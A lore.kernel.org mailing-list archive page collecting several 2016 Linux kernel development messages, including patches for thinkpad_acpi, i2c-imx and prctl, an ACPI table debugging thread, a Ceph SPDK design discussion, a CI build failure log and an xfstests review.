All of lore.kernel.org
 help / color / mirror / Atom feed
* Re: [PATCH] thinkpad_acpi: adding new hotkey ID for Lenovo thinkpad
From: Hui Wang @ 2016-11-09  0:34 UTC (permalink / raw)
  To: Henrique de Moraes Holschuh; +Cc: dvhart, platform-driver-x86, ibm-acpi-devel
In-Reply-To: <20161108134352.GG8609@khazad-dum.debian.net>

On 11/08/2016 09:43 PM, Henrique de Moraes Holschuh wrote:
> On Tue, 08 Nov 2016, Hui Wang wrote:
>
>> laptops are not released to market yet), the issue is that the
>> thinkpad_acpi.ko can't be automatically loaded as before.
>>
>> Through debugging, we found the HKEY_HID is LEN0268 instead of
>> LEN0068 on those machines, and the MHKV is 0x200 instead of
>> 0x100. So adding the new ID into the driver.
> This usually means Lenovo expects to have different windows drivers.
> Does thinkpad-acpi work properly on these new thinkpads?

Yes, It works well as before.  And thanks for your review.

Cheers,
Hui.
>
> If it does, you have my
> Acked-by: Henrique de Moraes Holschuh <hmh@hmh.eng.br>
>
>> Signed-off-by: Hui Wang <hui.wang@canonical.com>
>> ---
>>   drivers/platform/x86/thinkpad_acpi.c | 2 ++
>>   1 file changed, 2 insertions(+)
>>
>> diff --git a/drivers/platform/x86/thinkpad_acpi.c b/drivers/platform/x86/thinkpad_acpi.c
>> index b65ce75..dbd2e27 100644
>> --- a/drivers/platform/x86/thinkpad_acpi.c
>> +++ b/drivers/platform/x86/thinkpad_acpi.c
>> @@ -128,6 +128,7 @@ enum {
>>   /* ACPI HIDs */
>>   #define TPACPI_ACPI_IBM_HKEY_HID	"IBM0068"
>>   #define TPACPI_ACPI_LENOVO_HKEY_HID	"LEN0068"
>> +#define TPACPI_ACPI_LENOVO_HKEY_V2_HID	"LEN0268"
>>   #define TPACPI_ACPI_EC_HID		"PNP0C09"
>>   
>>   /* Input IDs */
>> @@ -4143,6 +4144,7 @@ static int hotkey_write(char *buf)
>>   static const struct acpi_device_id ibm_htk_device_ids[] = {
>>   	{TPACPI_ACPI_IBM_HKEY_HID, 0},
>>   	{TPACPI_ACPI_LENOVO_HKEY_HID, 0},
>> +	{TPACPI_ACPI_LENOVO_HKEY_V2_HID, 0},
>>   	{"", 0},
>>   };

^ permalink raw reply

* Re: ACPI module-level code (MLC) not working?
From: Peter Wu @ 2016-11-09  0:32 UTC (permalink / raw)
  To: Zheng, Lv
  Cc: Rick Kerkhof, Bartosz Skrzypczak, Moore, Robert,
	linux-acpi@vger.kernel.org
In-Reply-To: <1AE640813FDE7649BE1B193DEA596E886A270249@SHSMSX101.ccr.corp.intel.com>

On Wed, Nov 09, 2016 at 12:07:47AM +0000, Zheng, Lv wrote:
> Hi,
> 
> > From: Peter Wu [mailto:peter@lekensteyn.nl]
> > Subject: Re: ACPI module-level code (MLC) not working?
> > 
> > On Tue, Nov 08, 2016 at 05:35:07PM +0000, Zheng, Lv wrote:
> > > Hi,
> > >
> > > > From: Peter Wu [mailto:peter@lekensteyn.nl]
> > > > Subject: ACPI module-level code (MLC) not working?
> > > >
> > > > Hi Lv,
> > > >
> > > > According to some tests, setting acpi_gbl_parse_table_as_term_list to
> > > > TRUE does is not effective. The code within the If-block is still not
> > > > executed early enough or something else is wrong.
> > > >
> > > > Previously Rick had an issue with an Acer Aspire V7-582PG where the dGPU
> > > > could not be powered off and I demonstrated an isolated test case in
> > > > http://www.spinics.net/lists/linux-acpi/msg70069.html
> > > >
> > > > In Bartosz's case, the dGPU cannot be powered on (also using nouveau),
> > > > preventing suspend from working. Situation is as follows (tested with
> > > > Linux 3.16, 4.8.4, 4.9-rc2, 4.9-rc4):
> > > >
> > > > His Lenovo IdeaPad Z510 laptop (BIOS date 2014) enables power resources
> > > > and related _PR3 objects under the conditional If(_OSI("Windows 2013")).
> > > > Both with and without acpi_gbl_parse_table_as_term_list set to TRUE, the
> > > > module-level code is not loaded properly. Via a SSDT override, it was
> > > > confirmed that removing the If conditional results in the expected
> > > > behavior.
> > > >
> > > > Various details are given in https://github.com/Bumblebee-Project/bbswitch/issues/142
> > > > including lots of dmesg logs (see posts at the bottom).
> > > > With above MLC flag set (v4.9-rc4): https://pastebin.com/raw/vCEPGezX
> > > > With SSDT override (v4.9-rc2): https://pastebin.com/raw/3Fsf2VPU
> > >
> > > I checked the post.
> > > It seems the current working way is: disabling _OSI(Windows 2013) which disables power resources.
> > 
> > That is how Lenovo probably intended to use it (only add Power Resources
> > when Windows 8 is detected).
> > 
> > > I have several questions related to this issue:
> > > 1. The following messages are prompt up when "acpi_gbl_parse_table_as_term_list = TRUE":
> > > [    2.519113] ACPI Error: [\_SB_.PCI0.GFX0.DD02._BCL] Namespace lookup failure, AE_NOT_FOUND
> > (20160831/psargs-359)
> > > [    2.519121] ACPI Error: Method parse/execution failed [\_SB.PCI0.PEG1.PEGP.DD02._BCL] (Node
> > ffff8802568d3cf8), AE_NOT_FOUND (20160831/psparse-543)
> > > How was this triggered?
> > 
> > This comes from acpi_video.c, ssdt4.dsl contains a \_SB.PCI0.GFX0.DD02
> > device with an _ADR method, but no _BCL one. It is not a regression
> > though, let's ignore this for now.
> > 
> > > 2. I noticed the following statement:
> > >    So, for some reason Lenovo has decided to give all tables the same name.
> > >    The ACPI table override functionality matches possible candidates by signature, OEM ID and OEM
> > Revision ID which are all the same.
> > >    As a result, the wrong SSDT is overridden.
> > > Could you provide the detail of the tables from the platform?
> > > What is the reason of doing such kind of craps in BIOS?
> > 
> > I have no idea why Lenovo would do such a silly thing, but that is why
> > we had to patch tables.c with:
> > 
> >     if (existing_table->checksum != 0xAF) {
> >         acpi_os_unmap_memory(table, ACPI_HEADER_SIZE);
> >         pr_info("Skipping next table\n");
> >         goto next_table;
> >     }
> > 
> > This is of course an unacceptable hard-coded value, but it was needed in
> > as a quick hack. For a longterm solution, maybe we can name the table
> > files specially such that additional match conditions can be given. This
> > is a different issue though.
> > 
> > What would you like to know about the platform? The acpidump is
> > available at
> > https://bugs.launchpad.net/lpbugreporter/+bug/752542/+attachment/4773050/+files/LENOVO-20287.tar.gz
> > 
> > ssdt5.dsl is the file of interest, grep for "Windows 2013".
> 
> The table headers are:
> 
> DefinitionBlock ("dsdt.aml", "DSDT", 1, "LENOVO", "CB-01   ", 0x00000001)
> DefinitionBlock ("ssdt1.aml", "SSDT", 1, "LENOVO", "CB-01   ", 0x00000001)
> DefinitionBlock ("ssdt2.aml", "SSDT", 1, "LENOVO", "CB-01   ", 0x00000001)
> DefinitionBlock ("ssdt3.aml", "SSDT", 1, "LENOVO", "CB-01   ", 0x00000001)
> DefinitionBlock ("ssdt4.aml", "SSDT", 1, "LENOVO", "CB-01   ", 0x00000001)
> DefinitionBlock ("ssdt5.aml", "SSDT", 1, "LENOVO", "CB-01   ", 0x00000001)
> 
> They will be deemed as different versions of the same table from linux ACPI's point of view.
> Whether override will be done or not depends on Linux version.

When I mentioned override, I referred to the method described in
Documentation/acpi/method-customizing.txt where any ACPI table can be
overridden via the initrd. Indeed, that method is unable to pick
arbitrary tables when they all have the same ID.

> In recent Linux, ssdt1.aml will be used (no override), while in old Linux, ssdt5.aml will be used (override).

Does this refer to the same override method as described above? The
tables are loaded normally even if they have the same name.

> Let me ask further.
> 1. Should OSPM load only ssdt5.aml or load only ssdt1.aml, or load ssdt1.aml,ssdt2.aml,ssdt3.aml,ssdt4.aml,ssdt5.aml?
> 2. Can you confirm Windows behavior here via amli?
> 
> Anyway, this is a special case that violates spec and seems to be aiming to trigger regressions against changed logic brought by me.
> No matter whether the change is reasonable.

OSPM should load all tables, they are all different. Perhaps you are
confusing this override method with how Linux normally loads tables?
(Aren't the identifiers just used for visual purposes and irrelevant for
normal operation?)

I have not checked Windows, but I would guess that it loads normally.
Otherwise Lenovo QA has really been sleeping.

Kind regards,
Peter

> Linux only need a quirk for this platform.
> 
> Thanks
> Lv
> 
> > 
> > Kind regards,
> > Peter
> > 
> > > Thanks and best regards
> > > Lv
> > >
> > > >
> > > > If you would like a new bugzilla entry or have some patches to test, you
> > > > know where to find us :)
> > > > --
> > > > Kind regards,
> > > > Peter Wu
> > > > https://lekensteyn.nl

^ permalink raw reply

* Re: status of spdk
From: LIU, Fei @ 2016-11-09  0:21 UTC (permalink / raw)
  To: Yehuda Sadeh-Weinraub, Sage Weil; +Cc: Wang, Haomai, ceph-devel
In-Reply-To: <CADRKj5T0=J1QuMjgDKr9WMME-bT6_DoY7UjnQdYUBUJ3YiJU1A@mail.gmail.com>

Hi Yehuda and Haomai,
   The issue of drives driven by SPDK is not able to be shared by multiple OSDs as kernel NVMe drive since SPDK as a process so far can not be shared across multiple processes like OSDs, right?

   Regards,
   James

   

On 11/8/16, 4:06 PM, "Yehuda Sadeh-Weinraub" <ceph-devel-owner@vger.kernel.org on behalf of yehuda@redhat.com> wrote:

    On Tue, Nov 8, 2016 at 3:40 PM, Sage Weil <sweil@redhat.com> wrote:
    > On Tue, 8 Nov 2016, Yehuda Sadeh-Weinraub wrote:
    >> I just started looking at spdk, and have a few comments and questions.
    >>
    >> First, it's not clear to me how we should handle build. At the moment
    >> the spdk code resides as a submodule in the ceph tree, but it depends
    >> on dpdk, which currently needs to be downloaded separately. We can add
    >> it as a submodule (upstream is here: git://dpdk.org/dpdk). That been
    >> said, getting it to build was a bit tricky and I think it might be
    >> broken with cmake. In order to get it working I resorted to building a
    >> system library and use that.
    >
    > Note that this PR is about to merge
    >
    >         https://github.com/ceph/ceph/pull/10748
    >
    > which adds the DPDK submodule, so hopefully this issue will go away when
    > that merged or with a follow-on cleanup.
    >
    >> The way to currently configure an osd to use bluestore with spdk is by
    >> creating a symbolic link that replaces the bluestore 'block' device to
    >> point to a file that has a name that is prefixed with 'spdk:'.
    >> Originally I assumed that the suffix would be the nvme device id, but
    >> it seems that it's not really needed, however, the file itself needs
    >> to contain the device id (see
    >> https://github.com/yehudasa/ceph/tree/wip-yehuda-spdk for a couple of
    >> minor fixes).
    >
    > Open a PR for those?
    
    Sure
    
    >
    >> As I understand it, in order to support multiple osds on the same NVMe
    >> device we have a few options. We can leverage NVMe namespaces, but
    >> that's not supported on all devices. We can configure bluestore to
    >> only use part of the device (device sharding? not sure if it supports
    >> it). I think it's best if we could keep bluestore out of the loop
    >> there and have the NVMe driver abstract multiple partitions of the
    >> NVMe device. The idea is to be able to define multiple partitions on
    >> the device (e.g., each partition will be defined by the offset, size,
    >> and namespace), and have the osd set to use a specific partition.
    >> We'll probably need a special tool to manage it, and potentially keep
    >> the partition table information on the device itself. The tool could
    >> also manage the creation of the block link. We should probably rethink
    >> how the link is structure and what it points at.
    >
    > I agree that bluestore shouldn't get involved.
    >
    > Is the NVMe namespaces meant to support multiple processes sharing the
    > same hardware device?
    
    More of a partitioning solution, but yes (as far as I undestand).
    
    >
    > Also, if you do that, is it possible to give one of the namespaces to the
    > kernel?  That might solve the bootstrapping problem we currently have
    
    Theoretically, but not right now (or ever?). See here:
    
    https://lists.01.org/pipermail/spdk/2016-July/000073.html
    
    > where we have nowhere to put the $osd_data filesystem with the device
    > metadata.  (This is admittedly not necessarily a blocking issue.  Putting
    > those dirs on / wouldn't be the end of the world; it just means cards
    > can't be easily moved between boxes.)
    >
    
    Maybe we can use bluestore for these too ;) that been said, there
    might be some kind of a loopback solution that could work, but not
    sure if it won't create major bottlenecks that we'd want to avoid.
    
    Yehuda
    --
    To unsubscribe from this list: send the line "unsubscribe ceph-devel" in
    the body of a message to majordomo@vger.kernel.org
    More majordomo info at  http://vger.kernel.org/majordomo-info.html
    



^ permalink raw reply

* [PATCH] i2c: imx: defer probe if bus recovery GPIOs are not ready
From: Stefan Agner @ 2016-11-09  0:32 UTC (permalink / raw)
  To: stable; +Cc: Stefan Agner, Wolfram Sang, stable

commit 533169d164c6b4c8571d0d48779f6ff6be593d72 upstream.

Some SoC might load the GPIO driver after the I2C driver and
using the I2C bus recovery mechanism via GPIOs. In this case
it is crucial to defer probing if the GPIO request functions
do so, otherwise the I2C driver gets loaded without recovery
mechanisms enabled.

Signed-off-by: Stefan Agner <stefan@agner.ch>
Acked-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de>
Acked-by: Li Yang <leoyang.li@nxp.com>
Signed-off-by: Wolfram Sang <wsa@the-dreams.de>
Cc: stable@kernel.org
---
 drivers/i2c/busses/i2c-imx.c | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/drivers/i2c/busses/i2c-imx.c b/drivers/i2c/busses/i2c-imx.c
index d4d8536..32fae2c 100644
--- a/drivers/i2c/busses/i2c-imx.c
+++ b/drivers/i2c/busses/i2c-imx.c
@@ -1002,10 +1002,13 @@ static void i2c_imx_init_recovery_info(struct imx_i2c_struct *i2c_imx,
 	rinfo->scl_gpio = of_get_named_gpio_flags(pdev->dev.of_node,
 			"scl-gpios", 0, NULL);
 
-	if (!gpio_is_valid(rinfo->sda_gpio) ||
-	    !gpio_is_valid(rinfo->scl_gpio) ||
-	    IS_ERR(i2c_imx->pinctrl_pins_default) ||
-	    IS_ERR(i2c_imx->pinctrl_pins_gpio)) {
+	if (rinfo->sda_gpio == -EPROBE_DEFER ||
+	    rinfo->scl_gpio == -EPROBE_DEFER) {
+		return -EPROBE_DEFER;
+	} else if (!gpio_is_valid(rinfo->sda_gpio) ||
+		   !gpio_is_valid(rinfo->scl_gpio) ||
+		   IS_ERR(i2c_imx->pinctrl_pins_default) ||
+		   IS_ERR(i2c_imx->pinctrl_pins_gpio)) {
 		dev_dbg(&pdev->dev, "recovery information incomplete\n");
 		return;
 	}
-- 
2.10.2


^ permalink raw reply related

* ✗ Fi.CI.BAT: failure for drm: move allocation out of drm_get_format_name() (rev3)
From: Patchwork @ 2016-11-09  0:31 UTC (permalink / raw)
  To: Eric Engestrom; +Cc: intel-gfx
In-Reply-To: <1478273565-6113-1-git-send-email-robdclark@gmail.com>

== Series Details ==

Series: drm: move allocation out of drm_get_format_name() (rev3)
URL   : https://patchwork.freedesktop.org/series/14873/
State : failure

== Summary ==

  CC [M]  drivers/gpu/drm/i915/dvo_ns2501.o
  CC [M]  drivers/gpu/drm/i915/dvo_sil164.o
  CC [M]  drivers/gpu/drm/i915/dvo_tfp410.o
  CC [M]  drivers/gpu/drm/i915/intel_ddi.o
  CC [M]  drivers/gpu/drm/i915/intel_crt.o
  CC [M]  drivers/gpu/drm/i915/intel_dp_aux_backlight.o
  LD      drivers/tty/serial/8250/8250.o
  CC [M]  drivers/gpu/drm/i915/intel_dp_link_training.o
  CC [M]  drivers/gpu/drm/i915/intel_dp.o
  CC [M]  drivers/gpu/drm/i915/intel_dsi.o
  CC [M]  drivers/gpu/drm/i915/intel_dsi_dcs_backlight.o
  CC [M]  drivers/gpu/drm/i915/intel_dp_mst.o
  CC [M]  drivers/gpu/drm/i915/intel_dsi_panel_vbt.o
  CC [M]  drivers/gpu/drm/i915/intel_dsi_pll.o
  CC [M]  drivers/gpu/drm/i915/intel_dvo.o
  CC [M]  drivers/gpu/drm/i915/intel_i2c.o
  CC [M]  drivers/gpu/drm/i915/intel_hdmi.o
  CC [M]  drivers/gpu/drm/i915/intel_lspcon.o
  CC [M]  drivers/gpu/drm/i915/intel_lvds.o
  CC [M]  drivers/gpu/drm/i915/intel_panel.o
  CC [M]  drivers/gpu/drm/i915/intel_tv.o
  CC [M]  drivers/gpu/drm/i915/intel_sdvo.o
  CC [M]  drivers/gpu/drm/i915/i915_vgpu.o
  CC [M]  drivers/gpu/drm/i915/i915_gpu_error.o
  LD      drivers/acpi/acpica/acpi.o
  LD      lib/zlib_deflate/zlib_deflate.o
  LD      lib/zlib_deflate/built-in.o
  LD      drivers/pci/pcie/aer/aerdriver.o
  LD      drivers/scsi/scsi_mod.o
  LD      drivers/pci/pcie/aer/built-in.o
  LD      drivers/pci/pcie/built-in.o
  LD [M]  drivers/net/ethernet/broadcom/genet/genet.o
  LD      lib/lz4/built-in.o
  LD      drivers/acpi/acpica/built-in.o
  LD      lib/zlib_inflate/zlib_inflate.o
  LD      lib/zlib_inflate/built-in.o
  LD [M]  drivers/gpu/drm/vgem/vgem.o
  LD      net/netlink/built-in.o
  LD      drivers/acpi/built-in.o
  LD      lib/xz/xz_dec.o
  LD      lib/xz/built-in.o
  LD      net/unix/unix.o
  LD      net/unix/built-in.o
  LD      drivers/usb/gadget/libcomposite.o
  LD      drivers/pci/built-in.o
  LD      lib/raid6/raid6_pq.o
  LD      drivers/usb/gadget/udc/udc-core.o
  LD      lib/raid6/built-in.o
  LD      drivers/usb/gadget/udc/built-in.o
  LD [M]  drivers/net/ethernet/intel/igbvf/igbvf.o
  LD      drivers/usb/gadget/built-in.o
  LD [M]  drivers/net/ethernet/intel/e1000/e1000.o
  LD [M]  drivers/misc/mei/mei-me.o
  LD      drivers/scsi/sd_mod.o
  LD      drivers/misc/built-in.o
  LD      drivers/scsi/built-in.o
  LD      net/packet/built-in.o
  LD      drivers/usb/core/usbcore.o
  LD      drivers/tty/serial/8250/8250_base.o
  LD      drivers/tty/serial/8250/built-in.o
  LD      drivers/tty/serial/built-in.o
  LD      drivers/usb/core/built-in.o
  LD      net/ipv6/ipv6.o
  LD      net/ipv6/built-in.o
  LD      drivers/tty/vt/built-in.o
  LD      drivers/tty/built-in.o
  LD      net/xfrm/built-in.o
  LD      drivers/video/console/built-in.o
  LD      drivers/video/built-in.o
  LD      drivers/usb/host/xhci-hcd.o
  LD      fs/btrfs/btrfs.o
  LD      drivers/md/md-mod.o
  LD      drivers/md/built-in.o
  LD      drivers/usb/host/built-in.o
  CC      arch/x86/kernel/cpu/capflags.o
  LD      fs/btrfs/built-in.o
  LD      arch/x86/kernel/cpu/built-in.o
  LD      drivers/usb/built-in.o
  LD      arch/x86/kernel/built-in.o
  AR      lib/lib.a
  EXPORTS lib/lib-ksyms.o
  LD      lib/built-in.o
  LD      arch/x86/built-in.o
  LD [M]  drivers/net/ethernet/intel/igb/igb.o
  LD [M]  drivers/net/ethernet/intel/e1000e/e1000e.o
  LD      fs/ext4/ext4.o
  LD      fs/ext4/built-in.o
  LD      fs/built-in.o
  LD      net/core/built-in.o
  LD      net/ipv4/built-in.o
  LD      net/built-in.o
  LD      drivers/net/ethernet/built-in.o
  LD      drivers/net/built-in.o
  LD [M]  drivers/gpu/drm/i915/i915.o
scripts/Makefile.build:475: recipe for target 'drivers/gpu/drm' failed
make[2]: *** [drivers/gpu/drm] Error 2
scripts/Makefile.build:475: recipe for target 'drivers/gpu' failed
make[1]: *** [drivers/gpu] Error 2
Makefile:983: recipe for target 'drivers' failed
make: *** [drivers] Error 2

Full logs at /archive/deploy/logs/Patchwork_2938

_______________________________________________
Intel-gfx mailing list
Intel-gfx@lists.freedesktop.org
https://lists.freedesktop.org/mailman/listinfo/intel-gfx

^ permalink raw reply

* Re: [PATCH 0/2] Support compiling out the prctl syscall
From: Nicolas Pitre @ 2016-11-09  0:30 UTC (permalink / raw)
  To: Josh Triplett
  Cc: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Zefan Li, Li Bin, Eric W. Biederman,
	Dmitry Vyukov, Ralf Baechle, Alex Thorlton, Michal Hocko,
	Mateusz Guzik, Cyrill Gorcunov, John Stultz, Al Viro, Zach Brown,
	Anna Schumaker, Dave Hansen, linux-kernel, linux-api
In-Reply-To: <cover.c693f10dfc19e12c214758e4b13ca9b4e4cf9668.1478650356.git-series.josh@joshtriplett.org>

On Tue, 8 Nov 2016, Josh Triplett wrote:

> Some embedded systems can do without the prctl syscall, saving some space.
> 
> This also avoids regular increases in tinyconfig size as people add more
> non-optional functionality to prctl (observed via the 0-day kernel
> infrastructure).
> 
> The first patch moves prctl and all its helpers into a separate source file,
> kernel/prctl.c, to allow making it optional via the Makefile without any
> ifdefs.  The second patch adds the Kconfig option to make prctl optional.

Excellent.  For both patches:

Acked-by: Nicolas Pitre <nico@linaro.org>

> 
> Josh Triplett (2):
>   kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
>   kernel: Support compiling out the prctl syscall
> 
>  init/Kconfig    |  12 +-
>  kernel/Makefile |   1 +-
>  kernel/prctl.c  | 684 +++++++++++++++++++++++++++++++++++++++++++++++++-
>  kernel/sys.c    | 672 +------------------------------------------------
>  kernel/sys_ni.c |   1 +-
>  5 files changed, 698 insertions(+), 672 deletions(-)
>  create mode 100644 kernel/prctl.c
> 
> base-commit: e3a00f68e426df24a5fb98956a1bd1b23943aa1e
> -- 
> git-series 0.8.11
> 

^ permalink raw reply

* Re: [PATCH 0/2] Support compiling out the prctl syscall
From: Nicolas Pitre @ 2016-11-09  0:30 UTC (permalink / raw)
  To: Josh Triplett
  Cc: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Zefan Li, Li Bin, Eric W. Biederman,
	Dmitry Vyukov, Ralf Baechle, Alex Thorlton, Michal Hocko,
	Mateusz Guzik, Cyrill Gorcunov, John Stultz, Al Viro, Zach Brown
In-Reply-To: <cover.c693f10dfc19e12c214758e4b13ca9b4e4cf9668.1478650356.git-series.josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org>

On Tue, 8 Nov 2016, Josh Triplett wrote:

> Some embedded systems can do without the prctl syscall, saving some space.
> 
> This also avoids regular increases in tinyconfig size as people add more
> non-optional functionality to prctl (observed via the 0-day kernel
> infrastructure).
> 
> The first patch moves prctl and all its helpers into a separate source file,
> kernel/prctl.c, to allow making it optional via the Makefile without any
> ifdefs.  The second patch adds the Kconfig option to make prctl optional.

Excellent.  For both patches:

Acked-by: Nicolas Pitre <nico-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>

> 
> Josh Triplett (2):
>   kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
>   kernel: Support compiling out the prctl syscall
> 
>  init/Kconfig    |  12 +-
>  kernel/Makefile |   1 +-
>  kernel/prctl.c  | 684 +++++++++++++++++++++++++++++++++++++++++++++++++-
>  kernel/sys.c    | 672 +------------------------------------------------
>  kernel/sys_ni.c |   1 +-
>  5 files changed, 698 insertions(+), 672 deletions(-)
>  create mode 100644 kernel/prctl.c
> 
> base-commit: e3a00f68e426df24a5fb98956a1bd1b23943aa1e
> -- 
> git-series 0.8.11
> 

^ permalink raw reply

* Re: [PATCH 1/9] populate: create all types of XFS metadata
From: Darrick J. Wong @ 2016-11-09  0:29 UTC (permalink / raw)
  To: Eryu Guan; +Cc: david, linux-xfs, fstests
In-Reply-To: <20161107153413.GL27776@eguan.usersys.redhat.com>

On Mon, Nov 07, 2016 at 11:34:13PM +0800, Eryu Guan wrote:
> On Fri, Nov 04, 2016 at 05:17:16PM -0700, Darrick J. Wong wrote:
> > We have three new metadata types -- rmapbt, rtrmapbt, and refcountbt.
> > Ensure that we populate the scratch fs with all three.
> > 
> > Signed-off-by: Darrick J. Wong <darrick.wong@oracle.com>
> > ---
> >  common/populate |   87 ++++++++++++++++++++++++++++++++++++++++++++++++++-----
> >  1 file changed, 79 insertions(+), 8 deletions(-)
> > 
> > 
> > diff --git a/common/populate b/common/populate
> > index d0003c5..6ada902 100644
> > --- a/common/populate
> > +++ b/common/populate
> > @@ -24,6 +24,7 @@
> >  
> >  _require_xfs_io_command "falloc"
> >  _require_xfs_io_command "fpunch"
> > +_require_test_program "punch-alternating"
> >  
> >  _require_xfs_db_blocktrash_z_command() {
> >  	test "${FSTYP}" = "xfs" || _notrun "cannot run xfs_db on ${FSTYP}"
> > @@ -106,9 +107,7 @@ _scratch_xfs_populate() {
> >  	echo "+ btree extents file"
> >  	nr="$((blksz * 2 / 16))"
> >  	$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((blksz * nr))" "${SCRATCH_MNT}/S_IFREG.FMT_BTREE"
> > -	for i in $(seq 1 2 ${nr}); do
> > -		$XFS_IO_PROG -f -c "fpunch $((i * blksz)) ${blksz}" "${SCRATCH_MNT}/S_IFREG.FMT_BTREE"
> > -	done
> > +	./src/punch-alternating "${SCRATCH_MNT}/S_IFREG.FMT_BTREE"
> >  
> >  	# Directories
> >  	# - INLINE
> > @@ -128,6 +127,7 @@ _scratch_xfs_populate() {
> >  	__populate_create_dir "${SCRATCH_MNT}/S_IFDIR.FMT_NODE" "$((16 * dblksz / 40))" true
> >  
> >  	# - BTREE
> > +	echo "+ btree dir"
> >  	__populate_create_dir "${SCRATCH_MNT}/S_IFDIR.FMT_BTREE" "$((128 * dblksz / 40))" true
> >  
> >  	# Symlinks
> > @@ -180,10 +180,43 @@ _scratch_xfs_populate() {
> >  	$XFS_IO_PROG -f -c 'fsync' "${SCRATCH_MNT}/unused"
> >  	rm -rf "${SCRATCH_MNT}/unused"
> >  
> > +	# Free space btree
> > +	echo "+ freesp btree"
> > +	nr="$((blksz * 2 / 8))"
> > +	$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((blksz * nr))" "${SCRATCH_MNT}/BNOBT"
> > +	./src/punch-alternating "${SCRATCH_MNT}/BNOBT"
> > +
> > +	# Reverse-mapping btree
> > +	is_rmapbt="$(xfs_info "${SCRATCH_MNT}" | grep -c 'rmapbt=1')"
> > +	if [ $is_rmapbt -gt 0 ]; then
> > +		echo "+ rmapbt btree"
> > +		nr="$((blksz * 2 / 24))"
> > +		$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((blksz * nr))" "${SCRATCH_MNT}/RMAPBT"
> > +		./src/punch-alternating "${SCRATCH_MNT}/RMAPBT"
> > +	fi
> > +
> > +	# Realtime Reverse-mapping btree
> > +	is_rt="$(xfs_info "${SCRATCH_MNT}" | grep -c 'rtextents=[1-9]')"
> > +	if [ $is_rmapbt -gt 0 ] && [ $is_rt -gt 0 ]; then
> > +		echo "+ rtrmapbt btree"
> > +		nr="$((blksz * 2 / 32))"
> > +		$XFS_IO_PROG -f -R -c "pwrite -S 0x62 0 $((blksz * nr))" "${SCRATCH_MNT}/RTRMAPBT"
> > +		./src/punch-alternating "${SCRATCH_MNT}/RTRMAPBT"
> > +	fi
> > +
> > +	# Reference-count btree
> > +	is_reflink="$(xfs_info "${SCRATCH_MNT}" | grep -c 'reflink=1')"
> > +	if [ $is_reflink -gt 0 ]; then
> > +		echo "+ reflink btree"
> > +		nr="$((blksz * 2 / 12))"
> > +		$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((blksz * nr))" "${SCRATCH_MNT}/REFCOUNTBT"
> > +		cp --reflink=always "${SCRATCH_MNT}/REFCOUNTBT" "${SCRATCH_MNT}/REFCOUNTBT2"
> > +		./src/punch-alternating "${SCRATCH_MNT}/REFCOUNTBT"
> > +	fi
> > +
> >  	# Copy some real files (xfs tests, I guess...)
> >  	echo "+ real files"
> > -	#__populate_fill_fs "${SCRATCH_MNT}" 40
> > -	cp -pRdu --reflink=always "${SCRATCH_MNT}/S_IFREG.FMT_BTREE" "${SCRATCH_MNT}/S_IFREG.FMT_BTREE.REFLINK" 2> /dev/null
> > +	test $fill -ne 0 && __populate_fill_fs "${SCRATCH_MNT}" 5
> 
> Seems this hunk belongs to patch 3/9? There's no "fill" in this context.

Yep.  I'll fix this.

> >  	umount "${SCRATCH_MNT}"
> >  }
> > @@ -212,9 +245,7 @@ _scratch_ext4_populate() {
> >  	echo "+ extent tree file"
> >  	nr="$((blksz * 2 / 12))"
> >  	$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((blksz * nr))" "${SCRATCH_MNT}/S_IFREG.FMT_ETREE"
> > -	for i in $(seq 1 2 ${nr}); do
> > -		$XFS_IO_PROG -f -c "fpunch $((i * blksz)) ${blksz}" "${SCRATCH_MNT}/S_IFREG.FMT_ETREE"
> > -	done
> > +	./src/punch-alternating "${SCRATCH_MNT}/S_IFREG.FMT_ETREE"
> >  
> >  	# Directories
> >  	# - INLINE
> > @@ -349,6 +380,39 @@ __populate_check_xfs_attr() {
> >  	esac
> >  }
> >  
> > +# Check that there's at least one per-AG btree with multiple levels
> > +__populate_check_xfs_agbtree_height() {
> > +	bt_type="$1"
> > +	nr_ags=$(_scratch_xfs_db -c 'sb 0' -c 'p agcount' | awk '{print $3}')
> > +
> > +	case "${bt_type}" in
> > +	"bno"|"cnt"|"rmap"|"refcnt")
> > +		hdr="agf"
> > +		bt_prefix="${bt_type}"
> > +		;;
> > +	"ino")
> > +		hdr="agi"
> > +		bt_prefix=""
> > +		;;
> > +	"fino")
> > +		hdr="agi"
> > +		bt_prefix="free_"
> > +		;;
> > +	*)
> > +		_fail "Don't know about AG btree ${bt_type}"
> > +		;;
> > +	esac
> > +
> > +	seq 0 $((nr_ags - 1)) | while read ag; do
> > +		bt_level=$(_scratch_xfs_db -c "${hdr} ${ag}" -c "p ${bt_prefix}level" | awk '{print $3}')
> > +		if [ "${bt_level}" -gt 1 ]; then
> > +			return 100
> > +		fi
> > +	done
> > +	test $? -eq 100 || _fail "Failed to create ${bt_type} of sufficient height!"
> 
> I'm a bit confused here, why test against 100? Because of the
> "return 100" above? That should exit the function and return to caller
> already.

The while loop+body executes in a subshell because of the "seq ... |
while" behavior, so the 'return 100' exits the subshell with a return
code of 100, depositing us at the first statement after the "done"
clause.  That's the "test $? -eq 100" statement, which is how
__populate_check_xfs_agbtree_height catches the early loop termination
so that we can _fail the test.  We can't call _fail from inside the
subshell because that will only abort the loop, not the whole test.

FWIW all that is unnecessary if we do:

for ag in $(seq 0 $((nr_ags - 1)) ); do
	...
done 

But I prefer to code that a little more defensively when possible since
that could result in a very long command line.

--D

> 
> Thanks,
> Eryu
> 
> > +	return 1
> > +}
> > +
> >  # Check that populate created all the types of files we wanted
> >  _scratch_xfs_populate_check() {
> >  	_scratch_mount
> > @@ -367,6 +431,9 @@ _scratch_xfs_populate_check() {
